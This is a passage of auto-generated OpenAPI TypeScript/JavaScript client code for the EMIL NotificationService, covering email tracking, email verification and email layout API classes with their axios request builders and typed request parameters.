* @memberof EmailTrackingApi
*/
EmailTrackingApi.prototype.listThreads = function (requestParameters, options) {
var _this = this;
if (requestParameters === void 0) { requestParameters = {}; }
return (0, exports.EmailTrackingApiFp)(this.configuration).listThreads(requestParameters.authorization, requestParameters.pageSize, requestParameters.pageToken, requestParameters.filter, requestParameters.search, requestParameters.order, requestParameters.expand, requestParameters.filters, options).then(function (request) { return request(_this.axios, _this.basePath); });
};
return EmailTrackingApi;
}(base_1.BaseAPI));
exports.EmailTrackingApi = EmailTrackingApi;
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios';
import { Configuration } from '../configuration';
import { RequestArgs, BaseAPI } from '../base';
import { CompleteEmailVerificationDto } from '../models';
import { CompleteEmailVerificationResponseClass } from '../models';
import { InitiateEmailVerificationDto } from '../models';
import { InitiateEmailVerificationResponseClass } from '../models';
/**
* EmailVerificationsApi - axios parameter creator
* @export
*/
export declare const EmailVerificationsApiAxiosParamCreator: (configuration?: Configuration) => {
/**
* undefined **Required Permissions** none
* @param {CompleteEmailVerificationDto} completeEmailVerificationDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
completeEmailVerification: (completeEmailVerificationDto: CompleteEmailVerificationDto, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
/**
* undefined **Required Permissions** none
* @param {InitiateEmailVerificationDto} initiateEmailVerificationDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
initiateEmailVerification: (initiateEmailVerificationDto: InitiateEmailVerificationDto, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
};
/**
* EmailVerificationsApi - functional programming interface
* @export
*/
export declare const EmailVerificationsApiFp: (configuration?: Configuration) => {
/**
* undefined **Required Permissions** none
* @param {CompleteEmailVerificationDto} completeEmailVerificationDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
completeEmailVerification(completeEmailVerificationDto: CompleteEmailVerificationDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<CompleteEmailVerificationResponseClass>>;
/**
* undefined **Required Permissions** none
* @param {InitiateEmailVerificationDto} initiateEmailVerificationDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
initiateEmailVerification(initiateEmailVerificationDto: InitiateEmailVerificationDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<InitiateEmailVerificationResponseClass>>;
};
/**
* EmailVerificationsApi - factory interface
* @export
*/
export declare const EmailVerificationsApiFactory: (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) => {
/**
* undefined **Required Permissions** none
* @param {CompleteEmailVerificationDto} completeEmailVerificationDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
completeEmailVerification(completeEmailVerificationDto: CompleteEmailVerificationDto, authorization?: string, options?: any): AxiosPromise<CompleteEmailVerificationResponseClass>;
/**
* undefined **Required Permissions** none
* @param {InitiateEmailVerificationDto} initiateEmailVerificationDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
initiateEmailVerification(initiateEmailVerificationDto: InitiateEmailVerificationDto, authorization?: string, options?: any): AxiosPromise<InitiateEmailVerificationResponseClass>;
};
/**
* Request parameters for completeEmailVerification operation in EmailVerificationsApi.
* @export
* @interface EmailVerificationsApiCompleteEmailVerificationRequest
*/
export interface EmailVerificationsApiCompleteEmailVerificationRequest {
/**
*
* @type {CompleteEmailVerificationDto}
* @memberof EmailVerificationsApiCompleteEmailVerification
*/
readonly completeEmailVerificationDto: CompleteEmailVerificationDto;
/**
* Bearer Token
* @type {string}
* @memberof EmailVerificationsApiCompleteEmailVerification
*/
readonly authorization?: string;
}
/**
* Request parameters for initiateEmailVerification operation in EmailVerificationsApi.
* @export
* @interface EmailVerificationsApiInitiateEmailVerificationRequest
*/
export interface EmailVerificationsApiInitiateEmailVerificationRequest {
/**
*
* @type {InitiateEmailVerificationDto}
* @memberof EmailVerificationsApiInitiateEmailVerification
*/
readonly initiateEmailVerificationDto: InitiateEmailVerificationDto;
/**
* Bearer Token
* @type {string}
* @memberof EmailVerificationsApiInitiateEmailVerification
*/
readonly authorization?: string;
}
/**
* EmailVerificationsApi - object-oriented interface
* @export
* @class EmailVerificationsApi
* @extends {BaseAPI}
*/
export declare class EmailVerificationsApi extends BaseAPI {
/**
* undefined **Required Permissions** none
* @param {EmailVerificationsApiCompleteEmailVerificationRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailVerificationsApi
*/
completeEmailVerification(requestParameters: EmailVerificationsApiCompleteEmailVerificationRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<CompleteEmailVerificationResponseClass, any, {}>>;
/**
* undefined **Required Permissions** none
* @param {EmailVerificationsApiInitiateEmailVerificationRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailVerificationsApi
*/
initiateEmailVerification(requestParameters: EmailVerificationsApiInitiateEmailVerificationRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<InitiateEmailVerificationResponseClass, any, {}>>;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
var __extends = (this && this.__extends) || (function () {
var extendStatics = function (d, b) {
extendStatics = Object.setPrototypeOf ||
({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
return extendStatics(d, b);
};
return function (d, b) {
if (typeof b !== "function" && b !== null)
throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
extendStatics(d, b);
function __() { this.constructor = d; }
d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
};
})();
var __assign = (this && this.__assign) || function () {
__assign = Object.assign || function(t) {
for (var s, i = 1, n = arguments.length; i < n; i++) {
s = arguments[i];
for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p))
t[p] = s[p];
}
return t;
};
return __assign.apply(this, arguments);
};
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
return new (P || (P = Promise))(function (resolve, reject) {
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
step((generator = generator.apply(thisArg, _arguments || [])).next());
});
};
var __generator = (this && this.__generator) || function (thisArg, body) {
var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g;
return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
function verb(n) { return function (v) { return step([n, v]); }; }
function step(op) {
if (f) throw new TypeError("Generator is already executing.");
while (g && (g = 0, op[0] && (_ = 0)), _) try {
if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
if (y = 0, t) op = [op[0] & 2, t.value];
switch (op[0]) {
case 0: case 1: t = op; break;
case 4: _.label++; return { value: op[1], done: false };
case 5: _.label++; y = op[1]; op = [0]; continue;
case 7: op = _.ops.pop(); _.trys.pop(); continue;
default:
if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
if (t[2]) _.ops.pop();
_.trys.pop(); continue;
}
op = body.call(thisArg, _);
} catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
}
};
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.EmailVerificationsApi = exports.EmailVerificationsApiFactory = exports.EmailVerificationsApiFp = exports.EmailVerificationsApiAxiosParamCreator = void 0;
var axios_1 = __importDefault(require("axios"));
// Some imports not used depending on template conditions
// @ts-ignore
var common_1 = require("../common");
// @ts-ignore
var base_1 = require("../base");
// URLSearchParams not necessarily used
// @ts-ignore
var url_1 = require("url");
var FormData = require('form-data');
/**
* EmailVerificationsApi - axios parameter creator
* @export
*/
var EmailVerificationsApiAxiosParamCreator = function (configuration) {
var _this = this;
return {
/**
* undefined **Required Permissions** none
* @param {CompleteEmailVerificationDto} completeEmailVerificationDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
completeEmailVerification: function (completeEmailVerificationDto, authorization, options) {
if (options === void 0) { options = {}; }
return __awaiter(_this, void 0, void 0, function () {
var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
// verify required parameter 'completeEmailVerificationDto' is not null or undefined
(0, common_1.assertParamExists)('completeEmailVerification', 'completeEmailVerificationDto', completeEmailVerificationDto);
localVarPath = "/notificationservice/v1/email-verification/complete";
localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL);
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
localVarRequestOptions = __assign(__assign({ method: 'POST' }, baseOptions), options);
localVarHeaderParameter = {};
localVarQueryParameter = {};
// authentication bearer required
// http bearer authentication required
return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)];
case 1:
// authentication bearer required
// http bearer authentication required
_a.sent();
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
localVarHeaderParameter['Content-Type'] = 'application/json';
(0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter);
headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers);
localVarRequestOptions.data = (0, common_1.serializeDataIfNeeded)(completeEmailVerificationDto, localVarRequestOptions, configuration);
return [2 /*return*/, {
url: (0, common_1.toPathString)(localVarUrlObj),
options: localVarRequestOptions,
}];
}
});
});
},
/**
* undefined **Required Permissions** none
* @param {InitiateEmailVerificationDto} initiateEmailVerificationDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
initiateEmailVerification: function (initiateEmailVerificationDto, authorization, options) {
if (options === void 0) { options = {}; }
return __awaiter(_this, void 0, void 0, function () {
var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
// verify required parameter 'initiateEmailVerificationDto' is not null or undefined
(0, common_1.assertParamExists)('initiateEmailVerification', 'initiateEmailVerificationDto', initiateEmailVerificationDto);
localVarPath = "/notificationservice/v1/email-verification/initiate";
localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL);
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
localVarRequestOptions = __assign(__assign({ method: 'POST' }, baseOptions), options);
localVarHeaderParameter = {};
localVarQueryParameter = {};
// authentication bearer required
// http bearer authentication required
return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)];
case 1:
// authentication bearer required
// http bearer authentication required
_a.sent();
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
localVarHeaderParameter['Content-Type'] = 'application/json';
(0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter);
headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers);
localVarRequestOptions.data = (0, common_1.serializeDataIfNeeded)(initiateEmailVerificationDto, localVarRequestOptions, configuration);
return [2 /*return*/, {
url: (0, common_1.toPathString)(localVarUrlObj),
options: localVarRequestOptions,
}];
}
});
});
},
};
};
exports.EmailVerificationsApiAxiosParamCreator = EmailVerificationsApiAxiosParamCreator;
/**
* EmailVerificationsApi - functional programming interface
* @export
*/
var EmailVerificationsApiFp = function (configuration) {
var localVarAxiosParamCreator = (0, exports.EmailVerificationsApiAxiosParamCreator)(configuration);
return {
/**
* undefined **Required Permissions** none
* @param {CompleteEmailVerificationDto} completeEmailVerificationDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
completeEmailVerification: function (completeEmailVerificationDto, authorization, options) {
return __awaiter(this, void 0, void 0, function () {
var localVarAxiosArgs;
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, localVarAxiosParamCreator.completeEmailVerification(completeEmailVerificationDto, authorization, options)];
case 1:
localVarAxiosArgs = _a.sent();
return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)];
}
});
});
},
/**
* undefined **Required Permissions** none
* @param {InitiateEmailVerificationDto} initiateEmailVerificationDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
initiateEmailVerification: function (initiateEmailVerificationDto, authorization, options) {
return __awaiter(this, void 0, void 0, function () {
var localVarAxiosArgs;
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, localVarAxiosParamCreator.initiateEmailVerification(initiateEmailVerificationDto, authorization, options)];
case 1:
localVarAxiosArgs = _a.sent();
return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)];
}
});
});
},
};
};
exports.EmailVerificationsApiFp = EmailVerificationsApiFp;
/**
* EmailVerificationsApi - factory interface
* @export
*/
var EmailVerificationsApiFactory = function (configuration, basePath, axios) {
var localVarFp = (0, exports.EmailVerificationsApiFp)(configuration);
return {
/**
* undefined **Required Permissions** none
* @param {CompleteEmailVerificationDto} completeEmailVerificationDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
completeEmailVerification: function (completeEmailVerificationDto, authorization, options) {
return localVarFp.completeEmailVerification(completeEmailVerificationDto, authorization, options).then(function (request) { return request(axios, basePath); });
},
/**
* undefined **Required Permissions** none
* @param {InitiateEmailVerificationDto} initiateEmailVerificationDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
initiateEmailVerification: function (initiateEmailVerificationDto, authorization, options) {
return localVarFp.initiateEmailVerification(initiateEmailVerificationDto, authorization, options).then(function (request) { return request(axios, basePath); });
},
};
};
exports.EmailVerificationsApiFactory = EmailVerificationsApiFactory;
/**
* EmailVerificationsApi - object-oriented interface
* @export
* @class EmailVerificationsApi
* @extends {BaseAPI}
*/
var EmailVerificationsApi = /** @class */ (function (_super) {
__extends(EmailVerificationsApi, _super);
function EmailVerificationsApi() {
return _super !== null && _super.apply(this, arguments) || this;
}
/**
* undefined **Required Permissions** none
* @param {EmailVerificationsApiCompleteEmailVerificationRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailVerificationsApi
*/
EmailVerificationsApi.prototype.completeEmailVerification = function (requestParameters, options) {
var _this = this;
return (0, exports.EmailVerificationsApiFp)(this.configuration).completeEmailVerification(requestParameters.completeEmailVerificationDto, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); });
};
/**
* undefined **Required Permissions** none
* @param {EmailVerificationsApiInitiateEmailVerificationRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailVerificationsApi
*/
EmailVerificationsApi.prototype.initiateEmailVerification = function (requestParameters, options) {
var _this = this;
return (0, exports.EmailVerificationsApiFp)(this.configuration).initiateEmailVerification(requestParameters.initiateEmailVerificationDto, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); });
};
return EmailVerificationsApi;
}(base_1.BaseAPI));
exports.EmailVerificationsApi = EmailVerificationsApi;
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios';
import { Configuration } from '../configuration';
import { RequestArgs, BaseAPI } from '../base';
import { CreateLayoutRequestDto } from '../models';
import { CreateLayoutResponseClass } from '../models';
import { GetLayoutResponseClass } from '../models';
import { ListLayoutsResponseClass } from '../models';
import { UpdateLayoutRequestDto } from '../models';
import { UpdateLayoutResponseClass } from '../models';
/**
* LayoutsApi - axios parameter creator
* @export
*/
export declare const LayoutsApiAxiosParamCreator: (configuration?: Configuration) => {
/**
* undefined **Required Permissions** \"notification-management.email-templates.create\"
* @param {CreateLayoutRequestDto} createLayoutRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
createLayout: (createLayoutRequestDto: CreateLayoutRequestDto, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.delete\"
* @param {number} id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
deleteLayout: (id: number, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {number} id
* @param {number} id2 Layout id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getLayout: (id: number, id2: number, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {string} [authorization] Bearer Token
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC.
* @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size.
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listLayouts: (authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.update\"
* @param {number} id
* @param {UpdateLayoutRequestDto} updateLayoutRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
updateLayout: (id: number, updateLayoutRequestDto: UpdateLayoutRequestDto, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
};
/**
* LayoutsApi - functional programming interface
* @export
*/
export declare const LayoutsApiFp: (configuration?: Configuration) => {
/**
* undefined **Required Permissions** \"notification-management.email-templates.create\"
* @param {CreateLayoutRequestDto} createLayoutRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
createLayout(createLayoutRequestDto: CreateLayoutRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<CreateLayoutResponseClass>>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.delete\"
* @param {number} id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
deleteLayout(id: number, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<object>>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {number} id
* @param {number} id2 Layout id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getLayout(id: number, id2: number, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<GetLayoutResponseClass>>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {string} [authorization] Bearer Token
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC.
* @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size.
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listLayouts(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<ListLayoutsResponseClass>>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.update\"
* @param {number} id
* @param {UpdateLayoutRequestDto} updateLayoutRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
updateLayout(id: number, updateLayoutRequestDto: UpdateLayoutRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<UpdateLayoutResponseClass>>;
};
/**
* LayoutsApi - factory interface
* @export
*/
export declare const LayoutsApiFactory: (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) => {
/**
* undefined **Required Permissions** \"notification-management.email-templates.create\"
* @param {CreateLayoutRequestDto} createLayoutRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
createLayout(createLayoutRequestDto: CreateLayoutRequestDto, authorization?: string, options?: any): AxiosPromise<CreateLayoutResponseClass>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.delete\"
* @param {number} id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
deleteLayout(id: number, authorization?: string, options?: any): AxiosPromise<object>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {number} id
* @param {number} id2 Layout id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getLayout(id: number, id2: number, authorization?: string, options?: any): AxiosPromise<GetLayoutResponseClass>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {string} [authorization] Bearer Token
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC.
* @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size.
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listLayouts(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: any): AxiosPromise<ListLayoutsResponseClass>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.update\"
* @param {number} id
* @param {UpdateLayoutRequestDto} updateLayoutRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
updateLayout(id: number, updateLayoutRequestDto: UpdateLayoutRequestDto, authorization?: string, options?: any): AxiosPromise<UpdateLayoutResponseClass>;
};
/**
* Request parameters for createLayout operation in LayoutsApi.
* @export
* @interface LayoutsApiCreateLayoutRequest
*/
export interface LayoutsApiCreateLayoutRequest {
/**
*
* @type {CreateLayoutRequestDto}
* @memberof LayoutsApiCreateLayout
*/
readonly createLayoutRequestDto: CreateLayoutRequestDto;
/**
* Bearer Token
* @type {string}
* @memberof LayoutsApiCreateLayout
*/
readonly authorization?: string;
}
/**
* Request parameters for deleteLayout operation in LayoutsApi.
* @export
* @interface LayoutsApiDeleteLayoutRequest
*/
export interface LayoutsApiDeleteLayoutRequest {
/**
*
* @type {number}
* @memberof LayoutsApiDeleteLayout
*/
readonly id: number;
/**
* Bearer Token
* @type {string}
* @memberof LayoutsApiDeleteLayout
*/
readonly authorization?: string;
}
/**
* Request parameters for getLayout operation in LayoutsApi.
* @export
* @interface LayoutsApiGetLayoutRequest
*/
export interface LayoutsApiGetLayoutRequest {
/**
*
* @type {number}
* @memberof LayoutsApiGetLayout
*/
readonly id: number;
/**
* Layout id
* @type {number}
* @memberof LayoutsApiGetLayout
*/
readonly id2: number;
/**
* Bearer Token
* @type {string}
* @memberof LayoutsApiGetLayout
*/
readonly authorization?: string;
}
/**
* Request parameters for listLayouts operation in LayoutsApi.
* @export
* @interface LayoutsApiListLayoutsRequest
*/
export interface LayoutsApiListLayoutsRequest {
/**
* Bearer Token
* @type {string}
* @memberof LayoutsApiListLayouts
*/
readonly authorization?: string;
/**
* A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @type {number}
* @memberof LayoutsApiListLayouts
*/
readonly pageSize?: number;
/**
* A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @type {string}
* @memberof LayoutsApiListLayouts
*/
readonly pageToken?: string;
/**
* Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.
* @type {string}
* @memberof LayoutsApiListLayouts
*/
readonly filter?: string;
/**
* To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @type {string}
* @memberof LayoutsApiListLayouts
*/
readonly search?: string;
/**
* The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC.
* @type {string}
* @memberof LayoutsApiListLayouts
*/
readonly order?: string;
/**
* Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size.
* @type {string}
* @memberof LayoutsApiListLayouts
*/
readonly expand?: string;
/**
* Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time.
* @type {string}
* @memberof LayoutsApiListLayouts
*/
readonly filters?: string;
}
/**
* Request parameters for updateLayout operation in LayoutsApi.
* @export
* @interface LayoutsApiUpdateLayoutRequest
*/
export interface LayoutsApiUpdateLayoutRequest {
/**
*
* @type {number}
* @memberof LayoutsApiUpdateLayout
*/
readonly id: number;
